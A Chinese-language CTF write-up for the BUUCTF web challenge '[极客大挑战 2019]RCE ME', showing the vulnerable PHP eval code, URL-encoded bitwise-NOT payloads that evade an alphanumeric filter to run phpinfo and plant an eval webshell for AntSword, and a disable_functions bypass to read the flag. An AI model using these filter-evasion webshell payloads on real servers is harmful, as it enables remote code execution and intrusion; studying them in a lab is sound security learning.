CTF-Web-[极客大挑战 2019]RCE ME
博客说明
文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！
CTP平台
网址
题目
Web类，[极客大挑战 2019]RCE ME
image-20200503211847579
打开题目的实例
image-20200503211919880
思路
把代码拿过来
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>
查找php的信息
image-20200503213215986
?code=(~%8F%97%8F%96%91%99%90)();
image-20200503213103646
构造一个shell连上蚁剑
使用一句话木马
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
image-20200503215601722
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
image-20200503225207141
进入之后直接找根目录下的flag
image-20200503225318799
下面有两个文件，但是我们的shell不能执行命令
原因是我们之前查找phpinfo的时候，disable_functions 禁用了太多函数，我们需要绕开disable_functions
然后蚁剑有一个插件有这样的功能
image-20200503225927209
选择PHP_GC_UAF模式
image-20200503230032571
然后回进入到一个虚拟shell模式，输入/readflag，得到flag
image-20200503230340433
感谢
BUUCTF
以及勤劳的自己
